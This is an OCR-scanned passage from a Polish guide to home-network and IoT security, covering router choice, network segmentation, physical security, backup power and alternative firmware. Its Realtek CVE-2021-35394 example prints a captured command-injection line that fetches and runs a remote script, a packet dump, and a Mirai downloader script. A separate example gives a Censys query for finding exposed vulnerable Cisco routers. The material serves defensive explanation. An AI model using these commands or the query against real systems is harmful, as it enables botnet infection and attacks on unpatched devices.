co tak naprawde chcemy podlaczy¢ do danej sieci. Jeszcze kilka lat temu spra-
wa byla wzglednie prosta: jeden lub dwa komputery, czasem jaki$ telefon.
Obecnie, wraz z rozwojem rozwigzan typu inteligentny dom (ang. smart home),
nie jest to juz takie oczywiste.

W tradycyjnych urzadzeniach kwestie bezpieczenstwa w mniejszym lub
wigkszym stopniu uwzgledniane sg przez twércéw systemoéw operacyjnych
na nich pracujacych. Rozwdj urzadzen IoT (Internet of Things) nie napawa juz
jednak optymizmem, szczegélnie sytuacja nie jest zbyt dobra w grupie rézne-
go rodzaju czujnikéw, ktére trafiaja do nowoczesnych rozwigzan automatyki.
Czesto sa one oparte na Linuxie, ktory, pracujac na starych bibliotekach, staje
sie podatny na ataki. Podobny problem pojawia sie w przypadku telewizoréw,
dla ktérych wsparcie czesto konczy sie, zanim jeszcze telewizor trafi do salonu.
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Opis problemu mozna uscisli¢, mozna domniemywac, ze nowe bledy i luki
bezpieczenstwa najczesciej pojawiaja sie w kodzie dostarczonym przez produ-
centa, zwlaszcza w przypadku element6éw takich jak interfejsy CGI. Dodatkowo
warto zauwazy¢, ze same sensory rzadko dzialaja pod kontrolg pelnego syste-
mu operacyjnego, a czesciej korzystaja z systemoéw operacyjnych czasu rzeczy-
wistego (RTOS — Real Time Operating System) lub po prostu mikrokontroleréow
wykonujacych petle sterujaca®?.

Biorac pod uwage takie problemy, warto zaplanowac, czy chcemy te wszystkie
potencjalnie niebezpieczne urzadzenia wpia¢ do wspoélnej sieci z naszym gléwnym
sprzetem przewidzianym do pracy i np. przeprowadzania operacji bankowych.

Ponadto warto przemyslec¢, czy dany router bedzie wystarczajacym sprze-
tem przez nastepne trzy do pieciu lat. Nie tylko w kwestii parametréw technicz-
nych samej sieci, ale wlasnie bezpieczenstwa. W momencie pisania tego tekstu"
routery z obstuga WPA3 s juz dostepne od kilku lat, wiec wybieranie sprzetu,
ktory tej technologii nie obstuguje, moze by¢ btedem.

Wystarczy pomyslec o tym, co sie stanie, je$li w implementacji WPA2 za rok
zostanie wykryta podatno$c¢ na tyle krytyczna, ze pozwoli na szybkie odszyfro-
wywanie komunikacji. Tworcy sprzetu raczej nie beda chetni do wydawania
poprawek dla leciwej juz technologii i czesto sugestia z ich strony bedzie po pro-
stu wymiana sprzetu na nowy, spelniajacy wyzszy standard bezpieczenstwa.

Podobnie moze wygladac kwestia dolgczania do sieci nowych urzadzen. Tu
rowniez mozna spodziewac sie pewnych niedogodnosci, jesli trafimy na spe-
cyficzne rozwigzanie, w ktérym twdérca postanowit ograniczy¢ wsparcie dla
starszych rozwiazan, albo ze wzgledu na optymalizacje szybkoS$ci dzialania,
albo z lenistwa... uzna, ze stawia tylko na bezpieczne rozwigzanie z wykorzy-
staniem WPA3. Wtedy urzadzenie wcale nie polaczy sie z siecig. Tak zwana
kompatybilnos$¢ wsteczna wcale nie jest obowigzkiem producenta sprzetu, jest
to raczej jego dobra wola.

Na co warto zwrdci¢ uwage przy wyborze sprzetu

ZALECENIA: WYBOR SPRZETU

» Sprawdz, czy sprzet posiada odpowiednie zabezpieczenia.

» Zapoznaj sie z mozliwo$cig aktualizacji firmware’u lub opcjg zmiany na firmware
alternatywny.

» Ocen, czy wsparcie techniczne oferowane przez producenta jest zadowalajace.

* Grudzien 2023.


https://botland.com.pl/blog/mikrokontroler-jak-to-dziala/
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Spdjrzmy teraz na to zagadnienie bardziej ogdlnie, a zebrane tu rady warto

zapamietac i weryfikowa¢ w kontekscie wiasnych potrzeb.

Parametry zwigzane z bezpieczenstwem - jest kilka podstawowych para-

metrow, ktére powinien oferowac sprzet:

» wsparcie dla odpowiedniego szyfrowania Wi-Fi; obecnie jest to minimal-
nie WPA2, ale warto wybra¢ WPA3, aby zwiekszy¢ bezpieczenstwo;

» obshluga szyfrowania danych AES; cho¢ to standard, niestety nie zawsze
standardem jest obstuga tego typu szyfrowania przez urzadzenia klienc-
kie, a zwlaszcza starsze, ktére maja wsparcie tylko dla RC4 wbudowane-
go w protoko} TKIP; specjalnie dla nich mozna wykorzysta¢ wydzielona
sie¢ go$cia lub dodatkowy router ograniczajacy ich ruch wewnatrz gtéw-
nej sieci.

Internet to miejsce, gdzie wiele oséb dzieli sie wiedza i do$wiadczeniami.
Warto przed zakupem sprzetu zajrze¢ na strone producenta, poszuka¢ forum
i sprawdzi¢, jak wyglada komunikacja z klientami. Moze wszystkie zgloszenia
bledéw pozostaja bez odpowiedzi; wtedy trzeba liczy¢ sie z tym, Ze jesli zdarzy
sie co$ nieprzewidzianego, np. w konfiguracji, lub natrafimy na jakis blad, zo-
staniemy z nim sami.

Dostepnos¢ aktualizacji — wybierajac sprzet i zagladajac uprzednio na
strone producenta, zerknijmy réwniez do zakladek zwiazanych ze wsparciem
i sprawdzmy, czy dany model doczekat sie jakiejkolwiek aktualizacji, czy tez
zostal porzucony zaraz po wydaniu.

Jesli znajdziemy informacje o aktualizacjach, warto zapoznac sie z tym, co
zostalo poprawione — moze byly to jakie§ powazne luki, np. zaszyte w kodzie
hasla. Takie bledy moga pomdc w ocenie, czy dany producent powaznie pod-
chodzi do kwestii zabezpieczen, czy raczej idzie na latwizne.

Mozliwos¢ wgrania alternatywnego firmware’u — jesli nie ma innej moz-
liwosci, twdérca sprzetu juz nie udziela wsparcia, ale z innych powodoéw zalezy
nam na wyborze lub pozostaniu przy konkretnym modelu, warto sprawdzi¢
mozliwo$¢ instalacji alternatywnego oprogramowania firmware.

Jesli akurat producent nie rozwija konkretnego modelu routera, to moze
robi to jaki$ pasjonat. Wtedy, nawet gdy sprzet odbiega od biezacych standar-
déw, mamy gwarancje, ze doczeka sie sensownych aktualizacji zabezpieczen,
gdy te zostang wykryte. Przykladem takiego systemu jest OpenWrt.
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loT, Smart Home

ZALECENIA: PRACA Z URZADZENIAMI loT

» QOgranicz dostepy do sieci zewnetrznej z urzadzen loT.
» Zmien ich domysine hasta.

» Zaktualizuj ich oprogramowanie.

» Zabezpiecz APl za pomoca haset lub - w miare mozliwosci - dwusktadnikowej auto-
ryzacji.

Hasla takie jak IoT (Internet of Things), internet rzeczy, a w dalszej perspekty-
wie — Internet wszystkiego (Internet of Everything®), na dobre wkroczyly juz
nie tylko do biznesu, ale i do naszego zycia prywatnego oraz doméw. Korzy-
stamy na co dzien ze smartwatchy, inteligentnych swietléwek, zarzadzanych
sieciowo loddwek, pralek, telewizoréw czy rolet w oknach. Sg tego Swiadomi
réwniez przestepcy internetowi.

Juz w 2013 roku firma Proofpoint odkryla botnet sktadajacy sie w ponad
25% z inteligentnych telewizordw, elektronicznych nian i innych sprzetéw do-
mowych. Dlatego w dobie rozwoju domowych urzadzen, ktére zyskuja maso-
wo dostep do sieci, warto juz teraz zadbac o jej bezpieczenstwo z uwzglednie-
niem ich obecnosci.

Zatroszczmy sie o umieszczenie elementéw sieci w miejscach trudno do-
stepnych dla oséb postronnych. Zabezpieczenie fizyczne moze w duzej mierze
utrudni¢ wykonanie ataku na sie¢ domowg. Nowe urzadzenia wymagaja od
uzytkownikéw wiekszej wiedzy. Warto poswiecié¢ troche czasu na odpowiednie
ograniczenie dostepu do urzadzen z zewnatrz lub zablokowa¢ im mozliwo$¢
komunikacji wewnatrz sieci (z wyjatkiem niezbednych adreséw).

Bardzo dobrym podej$ciem jest wykonanie segmentacji sieci. Wydzielenie
oddzielnej podsieci na komunikacje tylko miedzy tymi urzadzeniami oraz fil-
trowanie pakietéw pomiedzy siecig gtéwna utrudni przeprowadzanie atakdw.
Mniej eleganckim sposobem, ale réwniez dziatajacym, jest podiaczenie dodat-
kowego routera dla tych urzadzen za gtéwnym routerem.

Urzadzenia zarzadzajace domem, zwlaszcza oparte na Raspberry Pi, bardzo
czesto komunikuja sie ze soba za pomoca niezbyt trudnych do zrozumienia
kolejek® i REST API%. Zadbajmy o to, by dostep do panelu administracyjne-
go byt w nich odpowiednio zabezpieczony haslem lub dwuskladnikowym
uwierzytelnieniem (jesli to mozliwe i nie mamy mozliwosci wykorzystania
wirtualnej sieci prywatnej).

Jesli dostawca sieciowy oferuje staty adres IP, czesto mozna ograniczy¢
mozliwo$¢ komunikacji tylko do inicjowania jej ze wskazanego adresu. Ma to
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zastosowanie w sytuacji, gdy chcemy zarzadza¢ naszymi urzadzeniami IoT,
np. bedac poza domem, chociaz i tak lepsze bedzie tu uzycie polaczenia za
posrednictwem VPN-u oraz uwierzytelnienia za pomoca certyfikatu.

Sama komunikacja pomiedzy urzadzeniami a brokerem kolejki powinna
odbywac sie przy wykorzystaniu odpowiednio szyfrowanych polaczen, opty-
malnie -z zastosowaniem konkretnego certyfikatu potwierdzajacego nadawce.

Warto jednak pamietad, ze spora czes$¢ z tych urzadzen nie bedzie miala
whudowanego wlasciwego antywirusa, zadnych biezgcych aktualizacji opro-
gramowania czy kryptografii (cala komunikacja z urzadzeniem bedzie odby-
wac sie za pomoca nieszyfrowanych protokoléw komunikacyjnych lub samo
urzadzenie nie bedzie w stanie prawidtowo obstugiwac certyfikatéw). Wynika
to z celowego ograniczania zapotrzebowania na zasoby samego urzadzenia
lub z kalkulacji kosztéw po stronie producenta. Zapewnienie bezpieczenstwa
calego systemu sieciowego spoczywa zatem na uzytkownikach.

Dodatkowo antywirusy to skomplikowane narzedzia z parserami formatow,
co tworzy kolejna plaszczyzne ataku oraz wprowadza dodatkowe obcigzenie
dla urzadzenia. Ponadto obejscie wiodacych rozwiazan antywirusowych jest
czasami naprawde proste.

Wykorzystanie atak6w na sprzet samo w sobie moze nie wydaje sie bar-
dzo problematyczne lub spektakularne. W wiekszo$ci przypadkéw ustawienie
pieca centralnego ogrzewania na maksymalng temperature nie spowoduje
wybuchu - zadzialaja inne zabezpieczenia. Sam piec oczywiscie powinien by¢
odpowiednio zabezpieczony, uniemozliwiajgc nieautoryzowany dostep. Bledy
konfiguracyjne czy niedbalo$¢ producentéw sprzetu zawsze jednak moga sie
zdarzy¢, dlatego warto sprawdzi¢, czy urzadzenie przykladowo nie korzysta z
UPnP bez naszej wiedzy.

Bardziej realny atak to taki, w ktorym inteligentny odkurzacz moze pomoc zto-
dziejom w zapoznaniu sie z rozkladem mieszkania®. Wspomniany piec teoretycz-
nie réwniez moze sta¢ sie punktem wejscia atakujacego do dalszego testowania
domowej sieci, a z pewnos$cia moze stac sie czescia botnetu, np. takiego jak Mirai®.

Przyktad podatnosci

Szeroko wykorzystywana podatnos$c (CVE-2021-35394) na systemy IoT spo-
wodowana byla uzyciem w nich chipsetéw marki RealTek RTL8xxx SoC, w kt6-
rych nie zadbano o prawidlowe zabezpieczenie komunikacji. Tydzien przed
publikacja tej podatnosci firma Realtek poprawila inng, podobna, mianowicie
na routerach D-Link, wykorzystujacych te same chipsety na porcie 9034, do-
stepny byl serwer oczekujacy potaczen UDP.

Niestety, poprawa po stronie producenta ukladéw scalonych nie byla zbyt
ambitna — dodano tylko wymog posiadania prefixu ,orf” przed komenda.
orf;niebezpieczna_komenda
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OczywiScie bylo to prostym wektorem ataku, pozwalajacym na uruchomie-
nie terminala linii komend lub pobranie odpowiedniego skryptu do przepro-
wadzenia kolejnych etapow ataku. Przyklad wstrzykniecia ztosliwego pole-
cenia, ktére ignoruje bledna sekwencje orf, ale wykonuje pobranie skryptu,
zmiane jego nazwy i ostatecznie wykonanie (za pomoca tylko jednego pakietu
UDP), mozna zobaczy¢ na rysunku 13.
orf;cd /tmp||cd /var&8&busybox wget hxxp://45[.]61.188.184/f.sh -0
b.sh&&sh b.sh;#

Frame 1: 108 bytes on wire (864 bits), 108 bytes captured (864 bits)
Raw packet data
Internet Protocol Version 4, Src: 45.137.23.190, Dst: 192.168.90.1
User Datagram Protocol, Src Port: 56478, Dst Port: 9034
Data (80 bytes)
Data: 6f72663b6364202f746d707c7c6364202176617226266275737962617820776765742068...

[Length: 80]

0000 45 00 00 6c d4 31 00 00 ee 11 98 Se 2d 89 17 be E-:1:1-: ««sP=eus
0010 @ a8 5a @1 dc 9e 23 4a 00 53 00 00 6T 72 66 3b o Ze o #) X - DR
0020 63 64 20 2f 74 6d 70 7c 7c 63 64 20 2f 76 61 72 cd /tmp| |cd /var
0030 26 26 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 &8&busybo x wget h
0040 74 74 70 3a 2f 2f 34 35 2e 36 31 2e 31 38 38 2¢  ttp://45 .61.188.
0050 31 38 34 2f 66 2e 73 68 20 2d 4f 20 62 2e 73 68 184/f.sh -0 b.sh
0060 26 26 73 68 20 62 2e 73 68 3b 23 @a &&sh b.s h;#-

Rysunek 13. Przyktad wykonania komendy atakujacej urzadzenia z chipsetem RealTek
RTL8xxx SoC

Nastepnie przyktad pobranego skryptu, ktéry juz dalej pobiera dodatkowe pliki
wykonywalne w réznych architekturach (ARM, MIPS, SuperH), mozna zoba-
czy¢ na listingu 4.

Listing 4. Skrypt pobierajacy pliki wykonywalne podczas ataku na urzadzenia z chipsetem
RealTek RTL8xxx SoC

n="mips mpsl arm5 arm7 sh4'
http_server="'37.0.11.132"

for a in $n
do
cat $SHELL > .b
>.b
busybox wget http://$http_server/b/b.$a -0- > .b
chmod 777 .b
./.b exploit.realtek
done

Uruchomione aplikacje zmieniaja host w zdalnie zarzadzana czes$¢ botnetu Mi-
rai, ktéra bedzie wspotuczestniczy¢ w dalszych atakach przeprowadzanych za
jego posrednictwem®.
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Bezpieczenstwo fizyczne routera

ZALECENIA: BEZPIECZENSTWO FIZYCZNE
» Zmniejsz zasieg swojej sieci Wi-Fi do niezbednej odlegtosci.
» Zabezpiecz router i sprzet sieciowy przed nienadzorowanym dostepem fizycznym.

» Wytacz porty, z ktorych nie planujesz korzystac.

Bezpieczenstwo fizyczne routera to co$, o czym moze nie mys$limy za czesto, ale
to ma znaczenie w zaleznosci od tego, czy mieszkamy w domu wolnostojacym,
apartamentowcu z portierem czy ogromnym bloku. Warto i w tym kontekscie
poswieci¢ chwile na refleksje o bezpieczenstwie domowej infrastruktury sie-
ciowej, chociazby w oméwionych ponizej aspektach.

Ograniczenie zasiegu sieci bezprzewodowej — jesli nie ma wyraznej po-
trzeby, warto zmniejszy¢ moc sygnalu wysylanego z naszego sprzetu. Nie ma
sensu utatwia¢ potencjalnym agresorom ataku na sie¢ Wi-Fi przez udostepnia-
nie jej po drugiej stronie ulicy. I nie chodzi tu nawet o hackerdw, kt6rzy posta-
nowia usig$¢ w samochodzie na kilka godzin i analizowac ,,ztapane” pakiety.

Czasem sg to automaty, jak np. samochody Google. Firma przyznala sie, ze
przy okazji zbierania zdje¢ do map pozyskiwano informacje znacznie przekra-
czajace ten zakres. Jak to mozliwe? Telefony z systemem Android pozwalaja
na zapisywanie w chmurze sporej ilo$ci danych, takich jak nazwy sieci i hasta,
a samochody Google aktywnie korzystaty z tych danych. Prébowaly wykony-
wac polaczenia do tych sieci Wi-Fi, ktére wykryly, a agregujac te dane z dany-
mi juz bedacymi w chmurze, Google bardzo dokladnie mogt okresli¢ zasiegi
i sprawdzi¢ hasta poszczeg6lnych sieci’.

Istnieje spoteczno$ciowa baza danych geolokalizujacych dotyczacych infor-
macji o sieciach bezprzewodowych na calym $wiecie". Jej uzytkownicy moga
przesylac¢ dane dotyczace dostepnych sieci Wi-Fi, a platforma gromadzi i przed-
stawia te informacje na interaktywnej mapie. Wigle.net jest czesto wykorzy-
stywane w kontekscie wardrivingu, co jest praktyka polegajaca na przemiesz-
czaniu sie w okreslonym obszarze w poszukiwaniu sieci bezprzewodowych.
Chociaz moze on by¢ wykonywany w celach badawczych lub diagnostycznych,
istnieje ryzyko jego naduzycia przez osoby szukajace sieci do potencjalnych
atakow. W celu zautomatyzowania tego procesu powstalo specjalne narzedzie
o0 nazwie Pwnagotchi, wykorzystujace sztuczng inteligencje. To urzadzenie
szuka i zbiera dane na temat dostepnych sieci Wi-Fi, umozliwiajac réwniez
analize i identyfikacje potencjalnych luk w zabezpieczeniach. Dodatkowo moze

* Baza sieci Wi-Fi.
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dostosowywac swoje dzialania w oparciu o zebrane informacje, jak chociazby
wysta¢ komunikat za posrednictwem REST API.

Ograniczenie fizycznego dostepu do routera — w specyficznej sytuacji mo-
zemy zosta¢ zmuszeni do do$¢ niestandardowych instalacji routeréw. Moga to
by¢ miejsca wspdlne w budynkach wielorodzinnych, a czasem skrzynki tech-
niczne znajdujace sie np. na podworku. Tego typu montaz jest niestety réwno-
znaczny z zapraszaniem potencjalnych atakujacych do wykorzystania okazji.

Po pierwsze, pokazujemy zainteresowanym, z jakiego modelu routera ko-
rzystamy, co moze juz wystarczy¢ do przeprowadzenia ataku, zwlaszcza gdy
wyplynela powazna podatnos$¢ bezpieczenstwa zwigzana z tym modelem. Po
drugie, kto$ moze prébowac fizycznie do niego dotaczy¢ swdj ztosliwy sprzet,
co czasem pozwala (lub znacznie ulatwia) na dostanie sie do sieci wewnetrz-
nej. Po trzecie, to samo dotyczy wpinania réznego rodzaju urzadzen USB, je-
$li router posiada taki port. Bardzo prawdopodobne wydaje sie takze wyjecie
przewodu WAN i wpiecie modemu oferujacego polaczenie sieci komdrkowej.

Niestety, bezpieczenstwo nie zawsze idzie w parze z mozliwos$ciami tech-
nicznymi. Ukrycie sprzetu w ciasnej, zamykanej szafie teletechnicznej w blo-
ku, a zarazem pokrycie zasiegiem calego mieszkania, moze by¢ niewykonal-
ne. JesteSmy wtedy zmuszeni do wykonania pracy wlasnej w celu osiggniecia
konsensusu pomiedzy wygoda a tym, co jeszcze mozna uznac za bezpieczne
rozwiazanie domowe.

Wylaczanie nieuzywanych portéw — dobrym sposobem na zapobieganie
potencjalnym problemom, jakie moga wynikac¢ z wpinania dodatkowych urza-
dzen do routera, moze by¢ zwyczajne ograniczenie mozliwos$ci uzycia wolnych
portéw w urzadzeniu. Jesli atakujacy zechce w takiej sytuacji wlaczy¢ do sieci
jakie$ swoje urzadzenie, musi odlgczy¢ inny podpiety do routera sprzet. Wy-
piecie sieci domowej lub lacza zewnetrznego to dzialanie zdecydowanie bar-
dziej zwracajace uwage niz podlaczenie kolejnego sprzetu do jednego wolnego
portu. Wymaga tez poSwiecenia wiecej czasu na zapoznanie sie ze zwyczajami
potencjalnej ofiary, takimi jak godziny pracy czy snu, aby ukry¢ nieuprawnione
dzialania.

Inne aspekty zwigzane z zapewnieniem ciggtosci dostepnosci sieci

ZALECENIA: CIAGEOSC DZIAKANIA SIECI

» Zabezpiecz krytyczng infrastrukture pod katem braku zasilania.

» Jesli potrzebujesz mie¢ staty dostep do sieci, zadbaj o dodatkowe tacze interneto-
we oraz sprzet, ktory automatycznie pozwala na przetaczanie sieci w razie awarii
jednego z nich.
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UPS"! — bezpieczenstwo sieci to nie tylko odpowiednie zabezpieczenia cy-
frowe, ale réwniez zabezpieczenia fizyczne. Jednym z takich rozwigzan jest
wykorzystanie sprzetéw z zasilaniem awaryjnym — UPS (Uninterruptible Po-
wer Supply).

Tam, gdzie regularnie spotykamy sie z zanikami zasilania, a chcemy zapew-
nic sobie cigglos¢ pracy, zwlaszcza przy pracy zdalnej, takie rozwigzanie moze
sprawdzi¢ sie idealnie. Je$li mamy sprawna baterie w laptopie, zaniki zasilania
nie sa problemem, ale rozlaczanie VPN-a, ktérym taczymy sie do firmy, juz tak.
Podtrzymanie zasilania routera pozwala unikna¢ takich przeszkdd i zaoszcze-
dzi czas, ktéry w przeciwnym wypadku tracimy na ponowne pod}aczenie. Obec-
ne rozwiazania UPS-owe sg na tyle inteligentne, ze pozwalajg na przesytanie po-
wiadomienn chmurowych w momencie utraty zasilania lub polaczenia z siecia.
Dzieki temu, nawet bedac poza domem, mozemy dowiedzie¢ sie, czy przypad-
kiem z braku zasilania w mieszkaniu nie rozmraza nam sie wtasnie lodéwka.

Dual-WAN - inna forma zabezpieczenia sieci domowej to poprawa jej do-
stepnosci przez korzystanie z ustug dwdch dostawcéw Internetu. Do takiego
podejscia moze zmusi¢ nas postepujaca zmiana w sposobie organizacji pracy,
czyli przechodzenie na tryb pracy zdalnej. O ile cze$¢ pracownikéw w firmach
miala mozliwo$¢ skorzystania z hotspota udostepnionego z telefonu firmowe-
g0, to nadal nie da sie powiedzie¢, by bylo to standardem. Zwlaszcza w mniej-
szych firmach przemystowych, ktére nigdy wczedniej nie musiaty pracowac
w takim trybie. Problemem bylo przede wszystkim szybkie wygospodarowanie
pieniedzy na dodatkowe laptopy i sam sprzet, ktérego w czasie pandemii bra-
kowalo w magazynach, a zagwarantowanie dodatkowego bezpiecznego doste-
pu Internetu bylo czesto w sferze marzen.

Dlatego warto pomys$le¢ o zakupie sprzetu z mozliwo$cia obstugi dwdéch
dostawcdw Internetu zamiennie lub z wykorzystaniem sprzetowego load ba-
lancingu, czyli zréwnowazonego dzielenia ruchu sieciowego. Nie musza by¢
to dwa tacza swiattowodowe; czasem jako dostep zapasowy wystarczy modem
LTE podiaczony do gléwnego routera.

Ograniczenia narzucane przez dostawcow Internetu

ZALECENIA: SPRZET OD DOSTAWCY INTERNETU

» Kontroluj, czy oferowane urzadzenie nie jest podatne na ataki.

» Jesli to mozliwe, uzyj wtasnego routera i zadbaj o jego bezpieczenstwo we wtasnym
zakresie.

Podczas wyboru dostawcy Internetu mozemy trafi¢ na pewne ograniczenia, kto-
re on naklada. Jednym z nich jest dostarczanie swojego sprzetu i brak wyboru
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innego. Wigze sie to z wewnetrznymi systemami akceptujacymi ruch tylko
z zaufanych sprzetéw, czy to rozpoznawanych po adresie MAC, czy po certy-
fikacie wewnetrznym. Czasem, na szczescie, da sie to troche poprawi¢ przez
prosbe o przelaczenie trybu pracy routera dostawcy w tryb bridge. Po takiej
zmianie mozemy prébowac podiaczy¢ swoéj sprzet brzegowy, ale wymaga to
konsultacji z technikiem danej firmy. Z taka praktyka mozna spotkac sie wsréd
wiekszych firm oferujacych acza internetowe.

Druga, réwnie czesta, praktyka stosowana przez dostawcow Internetu jest
ograniczenie do tylko jednego modelu urzadzenia brzegowego — identyfiko-
wanego gléwnie za pomoca adresu MAC. Warto wiec mie¢ na uwadze fakt,
ze przelaczenie sprzetu na nowy, inny model zazwyczaj bedzie wigzalo sie
z obowiazkowa komunikacja z dostawcg, zeby zaktualizowal swoje wpisy
w systemach blokujacych. Jest to spowodowane wzgledami biznesowymi.
Ograniczenie wspdtdzielenia lacza dla zwyklego uzytkownika jest zwyczajnie
niewygodne i niezrozumiate, bo faktycznie utrudnia to testy takie jak konfigu-
racja nowego routera, gdy dysponujemy tylko jednym }aczem zewnetrznym.

Sprzet bez wsparcia dla nowych standardow

ZALECENIA: WSPARCIE STANDARDOW
W URZADZENIACH SIECIOWYCH

» Wybieraj najwyzsze mozliwe w Twojej sieci standardy - niezaleznie od tego, czy doty-
czy to szyfrowania, czy predkosci.

» Ograniczaj dostep dla urzadzen niewspierajacych bezpiecznych protokotéw komuni-
kacyjnych.

Czasem, z przyczyn od nas niezaleznych, musimy korzystac¢ ze sprzetu, ktéry
nie do konica lub wcale nie obstluguje nowych rozwiazan przeznaczonych do
zapewnienia bezpieczenstwa sieci. Wyjatkiem nie sa wcale stare urzadzenia.
Dwuletni telewizor laczacy sie po Wi-Fi moze nie wspiera¢ WPA3, bo byl pro-
jektowany, zanim ten standard upowszechnil si¢ na dobre. W takiej sytuacji
rozwigzaniem moze by¢ wykorzystanie trybu WPA2+WPA3 lub ograniczenie
sie do wersji drugiej omawianej technologii (WPA2).

Alternatywnie warto przemysle¢ albo podiaczenie urzadzenia za posred-
nictwem dodatkowego routera, sieci goscia o troche nizszych parametrach za-
bezpieczen, albo wykorzystanie podlaczenia przewodowego. Ma to tez pewne
uzasadnienie techniczne — twércom telewizoréw nie zawsze zalezy na dobrych
antenach do odbioru sieci bezprzewodowej, wiec nawet w bardziej znanych
markach zdarzaja sie losowe rozlaczenia Wi-Fi.
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Brak wsparcia producenta i alternatywne oprogramowanie sprzetowe

ZALECENIA: UZYWANIE ALTERNATYWNEGO OPROGRAMOWANIA
W ROUTERACH

» Rozwaz uzycie alternatywnych rozwigzan firmware do swojego sprzetu.

» Jesli nie masz mozliwosci wymiany routera, wez pod uwage uzycie posiadanego juz
starego sprzetu komputerowego lub improwizuj za pomoca Raspberry Pi.

» Uzywaj, w miare mozliwosci, systemow IPS/IDS, réwniez tych darmowych.

Rozwazmy jeszcze sytuacje, gdy router lata Swietnosci ma juz za sobg, ale nadal po-
trzebujemy z niego korzystac, np. z powodu braku mozliwo$ci wymiany infrastruk-
tury fizycznej lub nietypowej wlasciwosci fizycznej tego sprzetu. Warto zapoznac
sie z opcja oferowana przez spotecznosc zrzeszona w projekcie OpenWrt, o ile oczy-
widcie ten sprzet znajdzie sie wérdd wspieranych przez twércow tego systemu’.

Jest to specjalna dystrybucja Linuxa przeznaczona dla systeméw whbudo-
wanych (zazwyczaj to wlasnie routery z funkcja Wi-Fi). Oferuje w pelni mody-
fikowalny system dopasowany do potrzeb réznych uzytkownikéw. OpenWrt
zapewnia tez spora doze bezpieczenstwa, oferujac zdecydowanie bardziej ak-
tualne wersje jadra Linuxa niz wiekszo$¢ innych dystrybucji oprogramowania
wykorzystywanego w routerach.

Przykladowe inne rozwigzania obejmuja DD-WRT?, a takze pfSense’, pre-
zentujace zblizone mozliwos$ci i funkcje, ktére mozna zainstalowaé na starym
komputerze z dwiema kartami sieciowymi, ktéry bedzie peinit funkcje domo-
wego routera.

Wymienione dystrybucje oparte na Linuxie oraz FreeBSD mozna prébowac
uruchomié¢ nawet na takich urzadzeniach, jak szeroko dostepne Raspberry Pi,
nie musi to by¢ zatem typowy router. Jesli natomiast dysponujemy mato uzy-
wanym komputerem z okoto czterema do szeséciu gigabajtéw pamieci RAM i po-
dobna ilo$cig wolnej przestrzeni dyskowej oraz dwoma kartami sieciowymi, to
ciekawym alternatywnym rozwigzaniem moze by¢ wykorzystanie darmowe-
g0, w zastosowaniach domowych, oprogramowania Sophos Free Home Use”.
Oferuje ono funkcje typowe dla IPS/IDS, ale pozwala tez na bardziej zaawanso-
wane rozwiazania, jak rozszyfrowywanie certyfikatow i kontrola ruchu siecio-
wego przez analize pakietéw i wykorzystanie antywirusa firmy produkujacej
oprogramowanie sieciowe.

Przyktad podatnosci

Jednym z ciekawszych przypadkow jest podatnos¢ oznaczona jako CVE-
2023-20025, dotyczaca serii router6w marki Cisco przeznaczonych do mate-
g0 biznesu, a czasem spotykanych w rozwiazaniach domowych. Urzadzenia:
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RV016, RV042, RV042G oraz RV082 maja odkryty blad, o ktérym producent jed-
noznacznie wypowiedzial sig, Ze nie naprawil go i nie zrobi tego we wspomnia-
nych modelach z racji osiggniecia przez nie statusu kornica wsparcia — EOL (End
of Life)". Wyszukiwarka urzadzen Censys znajduje nadal okoto 20 000 (z czego
prawie 1300 w Polsce) podatnych sprzetéw podpietych do sieci, sprawdzajac
tylko te routery, ktore przedstawiaja sie, podajac w nazwie swoj model (rysu-
nek 147%). Uzyte zapytanie przedstawiono na listingu 5.

Listing 5. Zapytanie do wyszukiwarki Censys wyszukujace urzadzenia podatne na CVE-2023-20025

same_service(services.service_name=HTTP and services.tls.certificates.
leaf_data.issuer.organizational_unit: {RV@42G,RV@16, RV@42, RVO82} ) or
services.http.response.headers.www_authenticate: {'="Rv@16"', '="Rve42"',

'="RV@42G"', '="RVe82"'}

Host Count

RV016
3.9%

RV042G
17.5%

3508 (17.5%)

Rysunek 14. Procentowe zestawienie urzadzen podatnych na CVE-2023-20025

Opis samego bledu jest do$¢ lakoniczny — prawdopodobnie dotyczy nieprawi-
dlowej walidacji pdl logowania w interfejsie przegladarkowym urzadzenia,
umozliwiajacej ominiecie logowania i uzyskanie uprawnien administracyjnych
na routerze. Jako ze blad mdgl wystapic tez w innych urzadzeniach, najpraw-
dopodobniej oficjalnie nie zostanie upubliczniony sposéb wykonania ataku.
W sieci jednak dostepne jest jedno repozytorium GitHub oferujace teoretyczny

* Podatno$¢ wykryta w routerach Cisco po zakornczeniu wsparcia, zob. Cisco, Cisco Small Business RV016, RV042,
RV042G, RV082, RV320, and RV325 Routers Vulnerabilities, January 11, 2023 (last updated: March 14, 2023).


https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbr042-multi-vuln-ej76Pke5
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbr042-multi-vuln-ej76Pke5
https://search.censys.io/
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbr042-multi-vuln-ej76Pke5
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PoC (Proof of Concept) tego ataku. Uruchamianie narzedzi z tego typu repozyto-
riéw moze by¢ niebezpieczne, wiec warto robi¢ to w odseparowanym sieciowo
$rodowisku, brakuje tez instrukcji, w jaki sposéb powinien by¢ uzyty eksploit™.

Sam producent sprzetu zasugerowat kilka czynno$ci, jak blokowanie doste-
pu do portéw 443 lub 60433 i zablokowanie zdalnego zarzadzania, zaznaczajac
jednak, ze nie gwarantuje to bezpieczenstwa i jedynym stusznym rozwiaza-
niem jest wymiana starego routera na nowy.

Inne pomysty dotyczace bezpieczenistwa i monitoringu sieci

ZALECENIA: MONITORING

» Przeprowadzaj regularnie kopie zapasowe ustawien konfiguracyjnych.

» Jesli mozesz, wykorzystuj rozwigzania pozwalajace na blokowanie potaczen do nie-
bezpiecznych adresow, np. poprzez odpowiednie skrypty.

» Monitoruj swoja sie¢ pod katem dostepnych w niej urzadzen za pomoca automatycz-
nych narzedzi.

Routery domowe to nie tylko gotowe rozwiazania. Je$li mamy troche wolne-
go czasu i checi, aby dobrze pozna¢ sie¢, warto zainteresowac sie stosunko-
wo tanimi rozwigzaniami sprzetowymi, ktére ma w ofercie firma MikroTik’.
Urzadzenia tej marki dostepne sa w szerokiej gamie, od nieduzych, pieciopor-
towych routeréw, po routery klasy enterprise. Spora ich zaleta jest mozliwo$¢
